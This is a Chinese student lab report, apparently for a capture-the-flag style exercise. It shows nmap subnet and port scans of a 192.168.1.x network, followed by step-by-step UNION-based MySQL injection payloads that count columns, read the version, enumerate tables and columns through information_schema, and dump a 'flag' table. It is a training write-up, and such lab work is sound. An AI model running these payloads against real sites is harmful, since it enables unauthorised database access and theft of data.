

MySQL 注入

姓名：黄欣林
学号：3116004438
院系：智能制造学部
专业：电子信息工程（信息安全）
指导老师：温强

报告提交时间：2019 年 06 月 15 日

1 网段扫描

命令: nmap -PS 192.168.1.0/24

```
root@kali:~# nmap -PS 192.168.1.0/24
Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-01 21:55 EDT
Failed to resolve "-PS".
Nmap scan report for 192.168.1.1
Host is up (0.0026s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
1900/tcp   open  upnp
MAC Address: 88:25:93:EC:CB:22 (Tp-link Technologies)

Nmap scan report for 192.168.1.10
Host is up (0.015s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp    closed https
9000/tcp   closed cslistener
MAC Address: AC:7B:A1:07:94:EB (Intel Corporate)

Nmap scan report for 192.168.1.11
Host is up (0.00076s latency).
Not shown: 999 filtered ports
PORT      STATE SERVICE
3389/tcp   open  ms-wbt-server
MAC Address: 60:14:B3:79:08:3B (CyberTAN Technology)

Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE
443/tcp    open  https
902/tcp    open  iss-realsecure
912/tcp    open  apex-mesh
15000/tcp  open  hydap
MAC Address: AC:7B:A1:07:94:EB (Intel Corporate)

Nmap scan report for 192.168.1.101
Host is up (0.021s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
135/tcp    open  msrpc
```

2 端口发现

命令: nmap 目标 ip

```
root@kali:~# nmap 192.168.1.10
Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-01 22:35 EDT
Nmap scan report for 192.168.1.10
Host is up (0.021s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp    closed https
9000/tcp   closed cslistener
MAC Address: AC:7B:A1:07:94:EB (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 47.72 seconds
root@kali:~#
```

3 网站目录扫描

使用目录扫描工具 7kbscan-WebPathBrute_1.5.1 对主机扫描，得到该主机下的 web 的目录信息

4 MYSQL 注入

1).判断列数， 字段数

1' order by 1#

1' order by 2#

1' order by 3#

报错，所以 order by 猜解得到的列数为 2,判断字段数为 2

判断回显点,有两个回显点

1' union select 1,2#

查询当前数据库版本,查询当前数据库名

1' union select version(),database()#

查询当前数据库 表名

1' union select 1,table_name from information_schema.tables where table_schema=database()#

1' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1#

1' union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1#

```
1' union select 1,table_name from information_schema.tables where  
table_schema=database() limit 2,1#
```

查询字段名

```
1' union select 1,column_name from information_schema.columns where  
table_schema=database() and table_name='flag'##
```

查询字段内容

```
1' union select 1,flag from flag#
```

